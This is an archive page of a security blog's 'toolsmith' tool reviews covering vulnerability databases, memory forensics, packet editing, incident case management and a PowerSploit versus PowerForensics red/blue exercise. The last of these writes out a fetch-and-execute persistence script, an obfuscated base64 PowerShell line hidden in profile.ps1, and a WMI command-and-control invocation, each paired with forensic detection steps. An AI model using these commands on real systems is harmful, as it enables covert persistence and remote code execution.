Sunday, May 08, 2016

toolsmith #116: vFeed & vFeed Viewer


In case you haven't guessed by now, I am an unadulterated tools nerd. Hopefully, ten years of toolsmith have helped you come to that conclusion on your own. I rejoice when I find like-minded souls, I found one in Nabil (NJ) Ouchn (@toolswatch), he of Black Hat Arsenal and fame. In addition to those valued and well-executed community services, NJ also spends a good deal of time developing and maintaining vFeed. vFeed included a Python API and the vFeed SQLite database, now with support for Mongo. It is, for all intents and purposes a correlated community vulnerability and threat database. I've been using vFeed for quite a while now having learned about it when writing about FruityWifi a couple of years ago.
NJ fed me some great updates on this constantly maturing product.
Having achieved compatibility certifications (CVE, CWE and OVAL) from MITRE, the vFeed Framework (API and Database) has started to gain more than a little gratitude from the information security community and users, CERTs and penetration testers. NJ draws strength from this to add more features now and in the future. The actual vFeed roadmap is huge. It varies from adding new sources such as security advisories from industrial control system (ICS) vendors, to supporting other standards such as STIX, to importing/enriching scan results from 3rd party vulnerability and threat scanners such as Nessus, Qualys, and OpenVAS.
There have a number of articles highlighting impressive vFeed uses cases of vFeed such as:
Needless to say, some fellow security hackers and developers have included vFeed in their toolkit, including Faraday (March 2015 toolsmith), Kali Linux, and more (FruityWifi as mentioned above).

The upcoming version vFeed will introduce support for CPE 2.3, CVSS 3, and new reference sources. A proof of concept to access the vFeed database via a RESTFul API is in testing as well. NJ is fine-tuning his Flask skills before releasing it. :) NJ, does not consider himself a Python programmer and considers himself unskilled (humble but unwarranted). Luckily Python is the ideal programming language for someone like him to express his creativity.
I'll show you all about woeful programming here in a bit when we discuss the vFeed Viewer I've written in R.

First, a bit more about vFeed, from its Github page:
The vFeed Framework is CVE, CWE and OVAL compatible and provides structured, detailed third-party references and technical details for CVE entries via an extensible XML/JSON schema. It also improves the reliability of CVEs by providing a flexible and comprehensive vocabulary for describing the relationship with other standards and security references.
vFeed utilizes XML-based and  JSON-based formatted output to describe vulnerabilities in detail. This output can be leveraged as input by security researchers, practitioners and tools as part of their vulnerability analysis practice in a standard syntax easily interpreted by both human and machine.
The associated vFeed.db (The Correlated Vulnerability and Threat Database) is a detective and preventive security information repository useful for gathering vulnerability and mitigation data from scattered internet sources into an unified database.
vFeed's documentation is now well populated in its Github wiki, and should be read in its entirety:
  1. vFeed Framework (API & Correlated Vulnerability Database)
  2. Usage (API and Command Line)
  3. Methods list
  4. vFeed Database Update Calendar
vFeed features include:
  • Easy integration within security labs and other pentesting frameworks 
  • Easily invoked via API calls from your software, scripts or from command-line. A proof of concept python is provided for this purpose
  • Simplify the extraction of related CVE attributes
  • Enable researchers to conduct vulnerability surveys (tracking vulnerability trends regarding a specific CPE)
  • Help penetration testers analyze CVEs and gather extra metadata to help shape attack vectors to exploit vulnerabilities
  • Assist security auditors in reporting accurate information about findings during assignments. vFeed is useful in describing a vulnerability with attributes based on standards and third-party references(vendors or companies involved in the standardization effort)
vFeed installation and usage

Installing vFeed is easy, just download the ZIP archive from Github and unpack it in your preferred directory or, assuming you've got Git installed, run git clone
You'll need a Python interpreter installed, the latest instance of 2.7 is preferred. From the directory in which you installed vFeed, just run python -h followed by python -u to confirm all is updated and in good working order; you're ready to roll.

You've now read section 2 (Usage) on the wiki, so you don't need a total usage rehash here. We'll instead walk through a few options with one of my favorite CVEs: CVE-2008-0793.

If we invoke python -m get_cve CVE-2008-0793, we immediately learn that it refers to a Tendenci CMS cross-site scripting vulnerability. The -m parameter lets you define the preferred method, in this case, get_cve.

Groovy, is there an associated CWE for CVE-2008-0793? But of course. Using the get_cwe method we learn that CWE-79 or "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')" is our match.

If you want to quickly learn all the available methods, just run python --list.
Perhaps you'd like to determine what the CVSS score is, or what references are available, via the vFeed API? Easy, if you run...

from lib.core.methods.risk import CveRisk
cve = "CVE-2014-0160"
cvss = CveRisk(cve).get_cvss()
print cvss

You'll retrieve...

For reference material...

from lib.core.methods.ref import CveRef
cve = "CVE-2008-0793"
ref = CveRef(cve).get_refs()
print ref


And now you know...the rest of the story. CVE-2008-0793 is one of my favorites because a) I discovered it, and b) the vendor was one of the best of many hundreds I've worked with to fix vulnerabilities.

vFeed Viewer

If NJ thinks his Python skills are rough, wait until he sees this. :-)
I thought I'd get started on a user interface for vFeed using R and Shiny, appropriately name vFeed Viewer and found on Github here. This first version does not allow direct queries of the vFeed database as I'm working on SQL injection prevention, but it does allow very granular filtering of key vFeed tables. Once I work out safe queries and sanitization, I'll build the same full correlation features you enjoy from NJ's Python vFeed client.
You'll need a bit of familiarity with R to make use of this viewer.
First install R, and RStudio.  From the RStudio console, to ensure all dependencies are met, run install.packages(c("shinydashboard","RSQLite","ggplot2","reshape2")).
Download and install the vFeed Viewer in the root vFeed directory such that app.R and the www directory are side by side with, etc. This ensures that it can read vfeed.db as the viewer calls it directly with dbConnect and dbReadTable, part of the RSQLite package.
Open app.R with RStudio then, click the Run App button. Alternatively, from the command-line, assuming R is in your path, you can run R -e "shiny::runApp('~/shinyapp')" where ~/shinyapp is the path to where app.R resides. In my case, on Windows, I ran R -e "shiny::runApp('c:\\tools\\vfeed\\app.R')". Then browser to the localhost address Shiny is listening on. You'll probably find the RStudio process easier and faster.
One important note about R, it's not known for performance, and this app takes about thirty seconds to load. If you use Microsoft (Revolution) R with the MKL library, you can take advantage of multiple cores, but be patient, it all runs in memory. Its fast as heck once it's loaded though.
The UI is simple, including an overview.

At present, I've incorporated NVD and CWE search mechanisms that allow very granular filtering.

 As an example, using our favorite CVE-2008-0793, we can zoom in via the search field or the CVE ID drop down menu. Results are returned instantly from 76,123 total NVD entries at present.

From the CWE search you can opt to filter by keywords, such as XSS for this scenario, to find related entries. If you drop cross-site scripting in the search field, you can then filter further via the cwetitle filter field at the bottom of the UI. This is universal to this use of Shiny, and allows really granular results.

You can also get an idea of the number of vFeed entries per vulnerability category entities. I did drop CPEs as their number throws the chart off terribly and results in a bad visualization.

I'll keep working on the vFeed Viewer so it becomes more useful and helps serve the vFeed community. It's definitely a work in progress but I feel as if there's some potential here.


Thanks to NJ for vFeed and all his work with the infosec tools community, if you're going to Black Hat be certain to stop by Arsenal. Make use of vFeed as part of your vulnerability management practice and remember to check for updates regularly. It's a great tool, and getting better all the time.
Ping me via email or Twitter if you have questions (russ at holisticinfosec dot org or @holisticinfosec).
Cheers…until next month.


Nabil (NJ) Ouchn (@toolswatch)

Saturday, April 09, 2016

toolsmith #115: Volatility Acuity with VolUtility

Yes, we've definitely spent our share of toolsmith time on memory analysis tools such as Volatility and Rekall, but for good reason. I contend that memory analysis is fundamentally one of the most important skills you'll develop and utilize throughout your DFIR career.
By now you should have read The Art of Memory Forensics, if you haven't, it's money well spent, consider it an investment.
If there is one complaint, albeit a minor one, that analysts might raise specific to memory forensics tools, it's that they're very command-line oriented. While I appreciate this for speed and scripting, there are those among us who prefer a GUI. Who are we to judge? :-)
Kevin Breen's (@kevthehermit) VolUtility is a full function web UI for Volatility which fills the gap that's been on user wishlists for some time now.
When I reached out to Kevin regarding the current state of the project, he offered up a few good tidbits for user awareness.

1. Pull often. The project is still in its early stages and its early life is going to see a lot of tweaks, fixes, and enhancements as he finishes each of them.
2. If there is something that doesn’t work, could be better, or removed, open an issue. Kevin works best when people tell him what they want to see.
3. He's working with SANS to see VolUtility included in the SIFT distribution, and release a Debian package to make it easier to install. Vagrant and Docker instances are coming soon as well. 

The next two major VolUtility additions are:
1. Pre-Select plugins to run on image import.
2. Image Threat Score.

Notifications recently moved from notification bars to the toolbar, and there is now a right click context menu on the plugin output, which adds new features.


VolUtility installation is well documented on its GitHub site, but for the TLDR readers amongst you, here's the abbreviated version, step by step. This installation guidance assumes Ubuntu 14.04 LTS where Volatility has not yet been installed, nor have tools such as Git or Pip.
Follow this command set verbatim and you should be up and running in no time:
  1. sudo apt-get install git python-dev python-pip
  2. git clone
  3. cd volatility/
  4. sudo python install
  5. sudo apt-key adv --keyserver hkp:// --recv 7F0CEB10
  6. echo "deb trusty/mongodb-org/3.0 multiverse" | sudo tee /etc/apt/sources.list.d/mongodb-org-3.0.list
  7. sudo apt-get update
  8. sudo apt-get install -y mongodb-org
  9. sudo pip install pymongo pycrypto django virustotal-api distorm3
  10. git clone
  11. cd VolUtility/
  12. ./ runserver
Point your browser to http://localhost:8000 and there you have it.

VolUtility and an Old Friend

I pulled out an old memory image (hiomalvm02.raw) from September 2011's toolsmith specific to Volatility where we first really explored Volatility, it was version 2.0 back then. :-) This memory image will give us the ability to do a quick comparison of our results from 2011 against a fresh run with VolUtility and Volatility 2.5.

VolUtility will ask you for the path to Volatility plugins and the path to the memory image you'd like to analyze. I introduced my plugins path as /home/malman/Downloads/volatility/volatility/plugins.

The image I'd stashed in Downloads as well, the full path being /home/malman/Downloads/HIOMALVM02.raw.

Upon clicking Submit, cats began loading stuffs. If you enjoy this as much as I do, the Help menu allows you to watch the loading page as often as you'd like.

If you notice any issues such as the image load hanging, check your console, it will have captured any errors encountered.
On my first run, I had not yet installed distorm3, the console view allowed me to troubleshoot the issue quickly.

Now down to business. In our 2011 post using this image, I ran imageinfo, connscan, pslist, pstree, and malfind. I also ran cmdline for good measure via VolUtility. Running plugins in VolUtility is as easy as clicking the associated green arrow for each plugin. The results will accumulate on the toolbar and the top of the plugin selection pane, while the raw output for each plugin will appears beneath the plugin selection pane when you select View Output under Actions.

Results were indeed consistent with those from 2011 but enhanced by a few features. Imageinfo yielded WinXPSP3x86 as expected, connscan returned as our evil IP and the associated suspect process ID of 1512. Pslist and pstree then confirmed parent processes and the evil emanated from an ill-conceived click via explorer.exe. If you'd like to export your results, it's as easy as selecting Export Output from the Action menu. I did so for pstree, as it is that plugin from whom all blessings flow, the results were written to pstree.csv.

We're reminded that explorer.exe (PID 1512) is the parent for cleansweep.exe (PID 3328) and that cleansweep.exe owns no threads current threads but is likely the original source of pwn. We're thus reminded to explore (hah!) PID 1512 for information. VolUtility allows you to run commands directly from the Tools Bar, I did so with -f /home/malman/Downloads/HIOMALVM02.raw malfind -p 1512.

Rather than regurgitate malfind results as noted from 2011 (you can review those for yourself), I instead used the VolUtility Tools Bar feature Yara Scan Memory. Be sure to follow Kevin's Yara installation guidance if you want to use this feature. Also remember to git pull! Kevin updated the Yara capabilities between the time I started this post and when I ran yarascan. Like he said, pull often. There is a yararules folder now in the VolUtility file hierarchy, I added spyeye.yar, as created from Jean-Philippe Teissier's rule set. Remember, from the September 2011 post, we know that hiomalvm02.raw taken from a system infected with SpyEye. I then selected Yara Scan Memory from the Tools Bar, and pointed to the just added spyeye.yar file.

The results were immediate, and many, as expected.

You can also use String Search / yara rule from the Tools Bar Search Type field to accomplish similar goals, and you can get very granular with you string searches to narrow down results.
Remember that your sessions will persist thanks to VolUtility's use of MongoDB, so if you pull, then restart VolUtility, you'll be quickly right back where you left off.

In Closing

VolUtility is a great effort, getting better all the time, and I find its convenience irresistible. Kevin's doing fine work here, pull down the project, use it, and offer feedback or contributions. It's a no-brainer for VolUtility to belong in SIFT by default, but as you've seen, building it for yourself is straightforward and quick. Add it to your DFIR utility belt today.
As always, ping me via email or Twitter if you have questions: russ at holisticinfosec dot org or @holisticinfosec.


Thanks to Kevin (@kevthehermit) Breen for VolUtility and his feedback for this post.

Wednesday, March 09, 2016

toolsmith #114: WireEdit and Deep Packet Modification

PCAPs or it didn't happen, right? 

Packet heads, this toolsmith is for you. Social media to the rescue. Packet Watcher (jinq102030) Tweeted using the #toolsmith hashtag to say that WireEdit would make a great toolsmith topic. Right you are, sir! Thank you. Many consider Wireshark the eponymous tool for packet analysis; it was only my second toolsmith topic almost ten years ago in November 2006. I wouldn't dream of conducting network forensic analysis without NetworkMiner (August 2008) or CapLoader (October 2015). Then there's Xplico, Security Onion, NST, Hex, the list goes on and on...
Time to add a new one. Ever want to more easily edit those packets? Me too. Enter WireEdit, a comparatively new player in the space. Michael Sukhar (@wirefloss) wrote and maintains WireEdit, the first universal WYSIWYG (what you see is what you get) packet editor. Michael identifies WireEdit as a huge productivity booster for anybody working with network packets, in a manner similar to other industry groundbreaking WYSIWIG tools.

In Michael's own words: "Network packets are complex data structures built and manipulated by applying complex but, in most cases, well known rules. Manipulating packets with C/C++, or even Python, requires programming skills not everyone possesses and often lots of time, even if one has to change a single bit value. The other existing packet editors support editing of low stack layers like IPv4, TCP/UDP, etc, because the offsets of specific fields from the beginning of the packet are either fixed or easily calculated. The application stack layers supported by those pre-WireEdit tools are usually the text based ones, like SIP, HTTP, etc. This is because no magic is required to edit text. WireEdit's main innovation is that it allows editing binary encoded application layers in a WYSIWYG mode."

I've typically needed to edit packets to anonymize or reduce captures, but why else would one want to edit packets?
1) Sanitization: Often, PCAPs contain sensitive data. To date, there has been no easy mechanism to “sanitize” a PCAP, which, in turn, makes traces hard to share.
2) Security testing: Engineers often want to vary or manipulate packets to see how the network stack reacts to it. To date, that task is often accomplished via programmatic means.
WireEdit allows you to do so in just a few clicks.

Michael describes a demo video he published in April 2015, where he edits the application layer of the SS7 stack (GSM MAP packets). GSM MAP is the protocol responsible for much of the application logic in “classic” mobile networks, and is still widely deployed. The packet he edits carries an SMS text message, and the layer he edits is way up the stack and binary encoded. Michael describes the message displayed as a text, but notes that if looking at the binary of the packet, you wouldn’t find it there due to complex encoding. If you choose to decode in order to edit the text, your only option is to look up the offset of the appropriate bytes in Wireshark or a similar tool, and try to edit the bytes directly.
This often completely breaks the packet and Michael proudly points out that he's not aware of any tool allowing to such editing in WYSIWYG mode. Nor am I, and I enjoyed putting WireEdit through a quick validation of my own.

Test Plan

I conceived a test plan to modify a PCAP of normal web browsing traffic with web application attacks written in to the capture with WireEdit. Before editing the capture, I'd run it through a test harness to validate that no rules were triggered resulting in any alerts, thus indicating that the capture was clean. The test harness was a Snort instance I'd implemented on a new Ubuntu 14.04 LTS, configured with Snort VRT and Emerging Threats emerging-web_server and emerging-web_specific_apps rules enabled. To keep our analysis all in the family I took a capture while properly browsing the OpenBSD entry for tcpdump.
A known good request for such a query would, in text, as a URL, look like:
Conversely, if I were to pass a cross-site scripting attack (I did not, you do not) via this same URL and one of the available parameters, in text, it might look something like:
Again though, my test plan was one where I wasn't conducting any actual attacks against any website, and instead used WireEdit to "maliciously" modify the packet capture from a normal browsing session. I would then parsed it with Snort to validate that the related web application security rules fired correctly.
This in turn would validate WireEdit's capabilities as a WYSIWYG PCAP editor as you'll see in the walk-though. Such a testing scenario is a very real method for testing the efficacy of your IDS for web application attack detection, assuming it utilized a Snort-based rule set.


On my Ubuntu Snort server VM I ran sudo tcpdump -i eth0 -w toolsmith.pcap while browsing
Next, I ran sudo snort -c /etc/snort/snort.conf -r toolsmith.pcap against the clean, unmodified PCAP to validate that no alerts were received, results noted in Figure 1.

Figure 1: No alerts triggered via initial OpenBSD browsing PCAP
I then dragged the capture (407 packets) over to my Windows host running WireEdit.
Now wait for it, because this is a lot to grasp in short period of time regarding using WireEdit.
In the WireEdit UI, click the Open icon, then select the PCAP you wish to edit, and...that's it, you're ready to edit. :-) WireEdit tagged packet #9 with the pre-requisite GET request marker I was interest in so expanded that packet, and drilled down to the HTTP: GET descriptor and the Request-URI under Request-Line. More massive complexity, here take notes because it's gonna be rough. I right-clicked the Request-URI, selected Edit PDU, and edited the PDU with a cross-site scripting (JavaScript) payload (URL encoded) as part of the GET request. I told you, really difficult right? Figure 2 shows just how easy it really is.

Figure 2: Using WireEdit to modify Request-URI with XSS payload
I then saved the edited PCAP as toolsmithXSS.pcap and dragged it back over to my Snort server and re-ran it through Snort. The once clean, pristine PCAP elicited an entirely different response from Snort this time. Figure 3 tells no lies.

Figure 3: XSS ET Snort alert fires
Perfect, in what was literally a :30 second edit with WireEdit, I validated that my ten minute Snort setup catches cross-site scripting attempts with at least one rule. And no websites were actually harmed in the making of this test scenario, just a quick tweak with WireEdit.
That was fun, let's do it again, this time with a SQL injection payload. Continuing with toolsmithXSS.pcap I jumped to the GET request in frame 203 as it included a request for a different query and again edited the Request-URI with an attack specific for MySQL as seen in Figure 4.

I saved this PCAP modification as toolsmithXSS_SQLi.pcap and returned to the Snort server for yet another happy trip Snort Rule Lane. As Figure 5 represents, we had an even better result this time.  

Figure 5: WireEdited PCAP trigger multiple SQL injection alerts
In addition to the initial XSS alert firing again, this time we collected four alerts for:

  • ET WEB_SERVER SELECT USER SQL Injection Attempt in URI
  • ET WEB_SERVER Possible SQL Injection Attempt UNION SELECT
  • ET WEB_SERVER Possible SQL Injection Attempt SELECT FROM

That's a big fat "hell, yes" for WireEdit.
Still with me that I never actually executed these attacks? I just edited the PCAP with WireEdit and fed it back to the Snort beast. Imagine a PCAP like being optimized for the OWASP Top 10 and being added to your security test library, and you didn't need to conduct any actual web application attacks. Thanks WireEdit!


WireEdit is beautifully documented, with a great Quickstart. Peruse the WireEdit website and FAQ, and watch the available videos. The next time you need to edit packets, you'll be well armed and ready to do so with WireEdit, and you won't be pulling your hair out trying to accomplish it quickly, effectively, and correctly. WireEdit my a huge leap from not known to me to the top five on my favorite tools list. WireEdit is everything it is claimed to be. Outstanding.
Ping me via email or Twitter if you have questions: russ at holisticinfosec dot org or @holisticinfosec.


Thanks to Michael Sukhar for WireEdit and Packet Watcher for the great suggestion.

Tuesday, February 09, 2016

toolsmith #113: DFIR case management with FIR

#NousSommesUnis #ViveLaFrance

Bonjour! This month we'll explore Fast Incident Response, or FIR, from CERT Societe Generale, the team responsible for providing information security incident handling and response to cybercrime issues targeting  for Societe Generale. If you're developing a CERT or incident management team but haven't yet allocated budget for commercial case management tooling such as DFLabs Incman NG or CO3/Resilient (not endorsements), FIR is an immediate solution for your consideration. It's a nice quick, easy to deploy fit for any DFIR team in my opinion. It's built on Django (also one of my favorite movies), the Python Web framework, and leverages virtualenv, a tool to create isolated Python environments.
From their own README: "FIR (Fast Incident Response) is an cybersecurity incident management platform designed with agility and speed in mind. It allows for easy creation, tracking, and reporting of cybersecurity incidents.
FIR is for anyone needing to track cybersecurity incidents (CSIRTs, CERTs, SOCs, etc.). It's was tailored to suit our needs and our team's habits, but we put a great deal of effort into making it as generic as possible before releasing it so that other teams around the world may also use it and customize it as they see fit."
I had a quick chat with Gael Muller who said that the story about why they created and open-sourced FIR is on their blog, and that one year later, they do not regret their choice to do the extra work in order to make it FIR generic and release it to the public. "It seems there are plenty of people using and loving it, and we received several contributions, so I guess this is a win/win situation."
FIR offers a production and development environment, I tested the development version as I ran it from my trusty Ubuntu 14.04 LTS VM test instance.
Installation is easy, follow this abridged course of action as pulled from FIR's Setting up a development environment guidance:
  1. sudo apt-get update
  2. sudo apt-get install python-dev python-pip python-lxml git libxml2-dev libxslt1-dev libz-dev
  3. sudo pip install virtualenv
  4. virtualenv env-FIR
  5. source env-FIR/bin/activate
  6. git clone
  7. cd FIR
  8. pip install -r requirements.txt
  9. cp fir/config/installed_apps.txt.sample fir/config/installed_apps.txt (enables the Plugins)
  10. ./ migrate
  11. ./ loaddata incidents/fixtures/seed_data.json
  12. ./ loaddata incidents/fixtures/dev_users.json
  13. ./ runserver
If not in Paris (#jesuisParis), you'll want to change the timezone for your location of operation, default is Europe/Paris. Make the change in /FIR/for/config/, I converted to America/Los_Angeles as seen in Figure 1.
Figure 1
Control-C then re-run./ runserver after you update
As you begin to explore the FIR UI you can login as admin/admin or dev/dev, I worked from the admin account (change the password if exposed to any active networks). You'll likely want to make some changes to create a test bed that is more relevant to your workflows and business requirements. To do so click Admin in the upper right-hand corner of the UI, it's a hyperlink to as seen in Figure 2.

Figure 2
This is one incredibly flexible, highly configurable, user friendly and intuitive application. You'll find that the demo configuration options are just that, take the time to tune them to what makes sense for your DFIR and security incident management processes. I created test workflows imaging this instance of FIR was dedicated to CERT activities for a consortium of hospitals, we'll call it Holistic Hospital Alliance. I first modified Business Lines to better align with such a workload. Figure 3 exhibits these options.

Figure 3: Business Lines
Given that we're imagining response in a medical business scenario, I updated Incident Categories to include IoT and Medical Devices as seen in Figure 4. At teams these are arguably one and the same but imagine all the connected devices now or in the future in a hospital that may not be specifically medical devices.

Figure 4: Incident Categories
I also translated (well, I didn't, a search engine did) the French Bale Categories to English (glad to share), as seen in Figure 5.
Figure 5: Bale Categories
The initial Bale Categories are one of the only feature that remains that is specific to CERT Societe Generale. The categories provide correspondence between the incident categories they use every day, and the categories mentioned in the Basel III regulation. As a CERT for financials, they need to be able to report stats using these categories. According to Gael, most people do not use these or even know they exist, as it is only visible in the "Major Incidents" statistics view. Gael thinks it is better if people ignore this as these as they are not very useful for most users.

Now to create a few cases and enjoy the resulting dashboard. I added four events, three of which were incidents, including a Sev 3 malware incident (in FIR a Sev 4 is the highest severtity), a Sev 4 stolen credit card data incident, a Sev 2 vulnerable ICU machine incident, and a Sev 1 vulnerability scanning event as we see in Figure 6.

Figure 6: Dashboard

Numerous editing options await you, including the ability to define you plan of action and incident confidentiality levels, and granularity per unique incident handler (production version). And I'll bet about now you're saying "But Russ! What about reporting?" Aye, that's what the Stats page offers, yearly, quarterly, major incidents and annual comparisons, ready to go. Figure 7 tells the tale.

Figure 7: Stats
You will enjoy FIR, I promise, its easy to use, well conceived, simple to implement, and as free DFIR case management systems go, you really can't ask for more. Give a go for sure, and if so possessed, contribute to the FIR project. Vive la FIR et bien fait CERT Societe Generale! Merci, Gael Muller.
Ping me via email or Twitter if you have questions: russ at holisticinfosec dot org or @holisticinfosec.

Cheers…until next month.

Tuesday, January 05, 2016

toolsmith #112: Red vs Blue - PowerSploit vs PowerForensics

Happy New Year and welcome to 2016!
When last we explored red team versus blue team tactics in May 2015, we utilized Invoke-Mimikatz, then reviewed and analyzed a victim with WinPmem and Rekall. The recent release of PowerSploit 3.0.0 on 18 DEC 2015 presents us with another opportunity to use PowerShell for a red team versus blue team discussion. This time its an all PowerShell scenario, thanks as well to PowerForensics.
Forget the old Apple pitch line: "There's an app for that." With so much PowerShell love, there's a PowerShell script for that!
For the uninitiated, a description of each.
PowerSploit "is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment."
PowerForensics "is a PowerShell digital forensics framework. It currently supports NTFS and is in the process of adding support for the ext4 file system."
Both are updated regularly and are GitHub projects subject to your feedback and contributions.
PowerSploit includes scripts that aid in antimalware bypasses, code execution, exfiltration, persistence, privilege escalation, reconnaissance, script modification, and general mayhem.
PowerForensics includes scripts the allow analysis of the boot sector, Windows artifacts, the Application Compatibility Cache, Windows Registry, as well as create forensic timelines. There are also Extended File System 4 (ext4) scripts as well as some utilities.

Credit where due, these two projects include some excellent developers, including Jared Atkinson, who leads PowerForensics but also contributes to PowerSploit. The PowerSploit team also includes Matt Graeber and Joe Bialek, I've admired their work and skill set for years.
We won't explore it here, but be sure to check out Empire from Will Schroeder, who also contributes to PowerSploit. The topic of a future toolsmith, "Empire is a pure PowerShell post-exploitation agent built on cryptologically-secure communications and a flexible architecture."

Before working through a couple of red vs. blue scenarios, a quick rundown on installation for both tool sets.
For PowerSploit, use Download Zip from the Github repo, move the zip package to your \Documents\WindowsPowerShell\Modules path under your user directory, unpack it, and rename PowerSploit-master to PowerSploit. From an administrator PowerShell prompt, run Import-Module PowerSploit and follow it with Get-Command -Module PowerSploit to ensure proper import.
You will definitely want to run $Env:PSModulePath.Split(';') | % { if ( Test-Path (Join-Path $_ PowerSploit) ) {Get-ChildItem $_ -Recurse | Unblock-File} } to avoid the incredibly annoying "Do you really want to run scripts downloaded from the Internet" warning. Yes, I really do.
For PowerForensics, the routine is similar, however the modules for PowerForensics are buried a bit deeper in the ZIP package. Again, use Download Zip from the Github repo, unpack the ZIP, drill down to \PowerForensics-master\PowerForensics\Module and copy the PowerForensics directory there to your \Documents\WindowsPowerShell\Modules path.
Issue Get-Module -ListAvailable -Name PowerForensics, them Import-Module PowerForensics. Again, Get-Command -Module PowerForensics will ensure a clean import and show you available modules. Likely worth adding $Env:PSModulePath.Split(';') | % { if ( Test-Path (Join-Path $_ PowerForensics) ) {Get-ChildItem $_ -Recurse | Unblock-File} } to avoid hassles as well.

Let's begin with my absolute favorite, it is the ultimate in absolute nerd humor and is a force to be reckoned with all by itself. Imagine a red team engagement where you've pwned the entire environment, then you leave the following calling card.
If you run Get-Help Add-Persistence -examples you will discover the best infosec joke ever, forget just PowerShell. I'll modify Example 2 for our red vs. blue purposes, but the net result is unforgettable. From a PowerShell prompt:

  1. $Rickroll = { iex (iwr ) }
  2. $ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle
  3. $UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle
  4. Add-Persistence -ScriptBlock $RickRoll -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose -PassThru | Out-EncodedCommand | Out-File .\rr.ps1

Three files are written: Persistence.ps1RemovePersistence.ps1, and rr.ps1 which is EncodedPersistence.ps1 renamed. Inspecting rr.ps1 reveals base64 encoding designed to conceal the 80's musical flashback that follows.
User-level and elevated persistent scheduled tasks are created, called TN Updater, and a profile.ps1 file is written to C:\Users\\Documents\WindowsPowerShell. If you inspect the profile script, you'll initially say to yourself "Whatever, the file is empty." Au contraire, ami. Scroll right. Ah there it is: sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('U8hMrVDQyCwvUsgoKSmw0tdPyizRy6nUTzXwLbcsV9BUAAA='),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()
Should your victim, or you on behalf of your victim, run .\rr.ps1, a few pleasantries ensue. Every time the victim system goes idle or the user invokes a PowerShell prompt, oh yeah baby, Rick Astley, Never Gonna Give You Up. Er, more specifically, Rick ASCII. Thank you, Lee Holmes, really.

All good chuckles aside, a persistent rickroll is really just an example of any number of truly evil options. Shells, beacons, downloaders all come to mind, creativity is really your only challenge, Add-Persistence is your vehicle for scripting forget-me-not. All good for the red teamers, what's there for the blue team?    
PowerForensics Get-ForensicTimeline is likely a good start,  I'm a huge fan of a complete timeline. When you run Get-Help Get-ForensicTimeline you'll quickly learn that it incorporates the following cmdlets:
  • Get-ForensicScheduledJob
  • Get-ForensicShellLink
  • Get-ForensicUsnJrnl
  • Get-ForensicEventLog
  • Get-ForensicRegistryKey
Get-ForensicTimeline left unchecked will, of course, dump a timeline for the entire discernible date range of all artifacts. This can lead to an unwieldy, huge text dump, I suggest filtering up front. Assume as a blue team member I knew my "attack" had occurred sometime during the New Year holiday. As such, I ran Get-ForensicTimeline | Sort-Object -Property Date | Where-Object { $_.Date -ge "12/30/2015" -and $_.Date -le "01/04/2016" } > c:\tmp\timeline2.txt.
This resulted in a much more manageable file for indicator searches. In this case, we'd like to attribute detail to the creation and execution of rr.ps1. There are a couple of ways to dig in here. SLS, alias for Select-String is your PowerShell friend: sls rr.ps1 .\timeline2.txt -AllMatches.

Always remember your trusty text editor as well. Even though I pre-filtered by date range, 010 Editor was able to easily process the full timeline as it handles large files quite well.

You can see we've easily discovered who, what, and where. The why is easy, because rickrolls rule! :-)

Timeline analysis is always vital and important but there are more opportunities here, let's put these kits through their paces for a second scenario.
PowerSpoit includes Invoke-WmiCommand. Per its description, Invoke-WmiCommand "executes a PowerShell ScriptBlock on a target computer using WMI as a pure C2 channel. It does this by using the StdRegProv WMI registry provider methods to store a payload into a registry value. The command is then executed on the victim system and the output is stored in another registry value that is then retrieved remotely."
Easy enough, I used one of the example against one of my servers as follows:
Invoke-WmiCommand -Payload { 1+3+2+1+1 } -RegistryHive HKEY_LOCAL_MACHINE -RegistryKeyPath 'SOFTWARE\pwnkey' -RegistryPayloadValueName 'pwnage' -RegistryResultValueName 'pwnresults' -ComputerName '' -Credential 'DOMAIN\username' -Verbose
I changed my domain and username to DOMAIN\username for the example, obviously you'll use your known good credentials. Results follow.

The payload here is simple math, 1+3+2+1+1, as executed on my victim server ( and returned the result (8) to my attacker host. You can imagine how useful quick, easy remote WMI calls might be for a red team. Obviously a more constructive (destructive?) payload would be in order. But how to spot this from the blue team's perspective?
PowerForensics includes Get-ForensicEventLog.  
Registry tweaks create Windows Security event log entries, including  4656 for registry key open, 4657 for creation, modification and deletion of registry values, and 4658 for registry key closed.
Imagine a security event log export file from a victim system, ready for analysis on your forensic workstation. As such, you could run the likes of Get-ForensicEventLog -path C:\tmp\security.evtx | Where-Object { $_.EventData -like "EventId: 4656" }.

See? That's not so bad, right? Red team events do not need to leave the blue team scrambling to catch up. Similar tactics but different outcomes. 
I've done neither of these PowerShell infosec offerings any real justice, but hopefully opened your eyes to the options and opportunities the represent. Use them both and you'll be better for it.
Conduct your red vs. blue exercises in concert, cooperatively, and you'll achieve improved outcomes. Emulate that adversary, then hunt him down.
Follow these guys on Twitter if you want to stay up on the PowerShell arms race. :-)

Ping me via email or Twitter if you have questions: russ at holisticinfosec dot org or @holisticinfosec.

Cheers…until next month.

Thursday, December 17, 2015

Vote now: 2015 Toolsmith Tool of the Year

If your browser doesn't support IFRAMEs, you can vote directly here.

Create your own user feedback survey

Monday, December 07, 2015

toolsmith #111: Lovely RITA, may I inquire?

We benefit this month from another offering first spotted via my fellow tool aficionados over at Toolswatch. And just like that, bam! A Beatles song...stuck in my head...all day.The crazy crew at Blackhills Security have embarked on another cool project: Real Intelligence Threat Analysis, or RITA, thus named because "Johns' mom" was already taken.

Yep, that kind of crazy :-)
This is the team who's brought us ADHD (Active Defense Harbinger Distribution and Recon-ng, both prior toolsmith topics. As such, I stalk their site, blog, and Twitter accounts like a tool nerd possessed, waiting for the next set of interesting bits to drop. RITA is very young in its development life cycle, not yet even two months from its initial release as this is written. That does not mean it should not be brought to your immediate attention. On 4 DEC the Black Hills Info Sec team updated RITA's Bro logs import capabilities, her moment had arrived.
From RITA's "RITA is a toolkit which is intended to help approach the often overwhelming task of combing through piles of log data looking for suspect behavior.
